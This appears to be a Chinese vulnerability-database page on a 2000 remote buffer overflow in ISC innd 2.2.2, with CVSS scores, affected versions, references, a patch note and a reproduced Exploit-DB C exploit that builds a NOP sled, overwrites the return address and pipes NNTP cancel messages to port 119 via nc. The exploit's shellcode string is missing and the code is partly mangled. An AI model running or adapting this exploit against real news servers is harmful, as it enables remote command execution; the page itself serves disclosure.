发布时间 :2000-02-06 00:00:00
修订时间 :2017-10-09 21:29:07

[原文]Buffer overflow in innd 2.2.2 allows remote attackers to execute arbitrary commands via a cancel request containing a long message ID.

[CNNVD]ISC innd 2.x 远程缓冲区溢出漏洞(CNNVD-200002-033)

        innd 2.2.2版本存在缓冲区溢出漏洞。远程攻击者借助取消包含超长消息ID的请求可以执行任意命令。

- CVSS (基础分值)

CVSS分值: 3.6 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:isc:inn:2.0ISC INN 2.0
cpe:/a:isc:inn:2.1ISC INN 2.1
cpe:/a:isc:inn:2.2ISC INN 2.2
cpe:/a:isc:inn:2.2.1ISC INN 2.2.1
cpe:/a:isc:inn:2.2.2ISC INN 2.2.2

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20000106 innd 2.2.2 remote buffer overflow
(UNKNOWN)  BUGTRAQ  20000707 inn update
(UNKNOWN)  BUGTRAQ  20000721 [ANNOUNCE] INN 2.2.3 available
(UNKNOWN)  BUGTRAQ  20000722 MDKSA-2000:023 inn update
(UNKNOWN)  BID  1316
(UNKNOWN)  XF  innd-cancel-overflow

- 漏洞信息

ISC innd 2.x 远程缓冲区溢出漏洞
低危 缓冲区溢出
2000-02-06 00:00:00 2005-05-02 00:00:00
        innd 2.2.2版本存在缓冲区溢出漏洞。远程攻击者借助取消包含超长消息ID的请求可以执行任意命令。

- 公告与补丁

        ISC has released the newest version of INN - 2.2.3 - which fixes this issue.
        ISC INN 2.2.2

- 漏洞信息 (19998)

ISC innd 2.x Remote Buffer Overflow Vulnerability (EDBID:19998)
linux remote
2000-06-12 Verified
0 Michal Zalewski
N/A [点击下载]

innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true" 

 * inndx: innd remote 'news' user/group exploit
 * Written on 12th June 2000 by Wojciech Purczynski
 * <> cliph/ircnet 
 * Bug found by Michal Zalewski.
 * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
 * Usage:
 * ./inndx [command [offset]]|nc -i 1 119

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=

int main(int argc, char *argv[])
	int retaddr=RETADDR;
	char messageid[256];
	char sender[16];
	char body[BODYSIZE];
	char * command=COMMAND;
	int midsize;
	int i;

	if (argc>1) command=argv[1];
	if (argc>2) retaddr+=atoi(argv[2]);

	memset(sender, 0, sizeof(sender));
	strcpy(sender+0, "a@a.");		/* EBP */
	*(long*)(sender+4)=(long)retaddr;	/* EIP */
	*(long*)(sender+8)=(long)RETADDR+1000;	/* Data */
	memset(messageid, 'a', sizeof(messageid));
	sprintf(messageid, "%s@a", tmpnam(NULL)+9);

	memset(body, NOP, sizeof(body));
	strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
	strcat(body, command);
	strcat(body, "\xff");
	fprintf(stderr, "RETADDR=%p\n", retaddr);
	fprintf(stderr, "COMMAND=%s\n", command);
	printf("mode reader\r\ngroup test\r\npost\r\n");
	printf("Message-ID: <%s>\r\n", messageid);
	printf("From: %s\r\nSender: %s\r\n", sender, sender);
	printf("Newsgroups: test\r\n");
	printf("Subject: blah\r\n");
	printf("group control\r\npost\r\n");
	printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
	printf("From: a@b.c\r\nSender: a@b.c\r\n");
	printf("Control: cancel <%s>\r\n", messageid);
	printf("Subject: cmsg cancel <%s>\r\n", messageid);
	printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);


- 漏洞信息

INN verifycancels Option Cancel Request Message Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS, Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-06-06 Unknow
Unknow Unknow

- 解决方案

The vendor has released a patch that fixes this issue. Please upgrade to the latest version of INN available from

- 相关参考

- 漏洞作者

Unknown or Incomplete